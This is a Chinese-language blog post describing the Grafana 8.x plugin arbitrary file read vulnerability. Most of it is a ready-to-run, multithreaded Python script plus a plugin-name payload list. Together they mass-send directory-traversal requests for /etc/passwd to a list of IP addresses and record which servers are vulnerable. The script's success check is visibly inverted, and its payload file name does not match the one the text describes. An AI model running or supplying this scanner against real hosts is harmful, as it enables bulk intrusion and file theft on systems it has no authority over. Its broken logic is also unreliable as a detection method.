前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[批量检测工具] Grafana plugins 任意文件读取

[批量检测工具] Grafana plugins 任意文件读取

作者头像
公众号爱国小白帽
发布2021-12-09 16:45:30
7540
发布2021-12-09 16:45:30
举报

01.漏 洞 描 述

  • Grafana是一个跨平台、开源的数据可视化网络应用程序平台,使用Go语言编写。
  • Grafana 8.x存在任意文件读取漏洞,通过默认存在的插件,可构造特殊的请求包读取服务器任意文件

02.漏 洞 细 节 可参考:

grafana最新任意文件读取分析以及衍生问题解释

Grafana plugins 任意文件读取漏洞

03.批量检测工具

因为网上已经有师傅写过单个poc,所以在这里直接加上以前的多线程,可以批量测试漏洞:

poc参考资料:

代码语言:javascript
复制
https://github.com/ScorpionsMAX/Grafana-loophole

也可以去我的GitHub下载:

代码语言:javascript
复制
https://github.com/crow821/crowsec

或者你直接复制下面的脚本重命名即可!

完整脚本如下:

脚本一共含有三个部分:

poc脚本:Grafana8.x_check.py

代码语言:javascript
复制
# -*- encoding: utf-8 -*-
# Time : 2021/12/07 23:05:31
# Author: crow
# Grafana plugins 任意文件读取批量检测脚本
# poc参考:https://github.com/ScorpionsMAX/Grafana-loophole


import requests
import threading
from queue import Queue


class Check_ips(threading.Thread):
    def __init__(self, queue, file_path):
        threading.Thread.__init__(self)
        self._queue = queue
        self._file_path = file_path
        

    def run(self):
        while not self._queue.empty():
            Ip = self._queue.get()
            file_path_ = self._file_path
            try:
                self.check(Ip, file_path_)
            except Exception as e:
                # print(e)
                pass

    def check(self, ip, file_path_):
        f = open("./paload.txt")
        print('正在测试ip:',ip)
        for line in f:
            url = "http://"+ ip +"/public/plugins/"+str.rstrip(line)+"/../../../../../../../../../../../etc/passwd"
            headers = {
                "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
            }
            req = requests.post(url, headers=headers,timeout=(3,7),allow_redirects=False)
            a=req.text
            # print('当前a的值:',a)
            str1='root'
            if a in str1:
                print('确认存在'+str.rstrip(line)+'路径,并存在漏洞!')
                print(url)
                with open('Grafana 8.x_vuln.txt', 'a+') as ff:
                    ff.write(url + '\n')
            else:
                pass
                # print('不存在漏洞!')
                


def check_ip(file_path):
    queue = Queue()
    with open(file_path, 'r') as f:
        for line in f.readlines():
        # print(line[:-1])
            ip = line[:-1]
            # print('正在测试ip:',ip)       
            queue.put(ip)
        print('[+] Loading complite')
        threads = []
        thread_counts = 50  # 定义线程
        for i in range(thread_counts):
            threads.append(Check_ips(queue, file_path))
        for t in threads:
            t.start()
        for t in threads:
            t.join()



if __name__ == "__main__":   
    file_path = 'Grafana_3000.txt'
    check_ip(file_path)
    print('[+] check complete')

其中需要两个文件,一个是payload.txt,这个文件里面主要是plugins的插件名称,此处参考:

代码语言:javascript
复制
https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw

payload.txt

代码语言:javascript
复制
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text

另外一个是Grafana_3000.txt,这个文件是需要检测的ip地址信息,比如:127.0.0.1:3000

脚本默认线程为50,检测到漏洞之后,会直接生成一个Grafana 8.x_vuln.txt文件。

运行效果:

04.漏洞修复

可参考:

grafana最新任意文件读取分析以及衍生问题解释

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 爱国小白帽 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
Grafana 服务
Grafana 服务(TencentCloud Managed Service for Grafana,TCMG)是腾讯云基于社区广受欢迎的开源可视化项目 Grafana ,并与 Grafana Lab 合作开发的托管服务。TCMG 为您提供安全、免运维 Grafana 的能力,内建腾讯云多种数据源插件,如 Prometheus 监控服务、容器服务、日志服务 、Graphite 和 InfluxDB 等,最终实现数据的统一可视化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档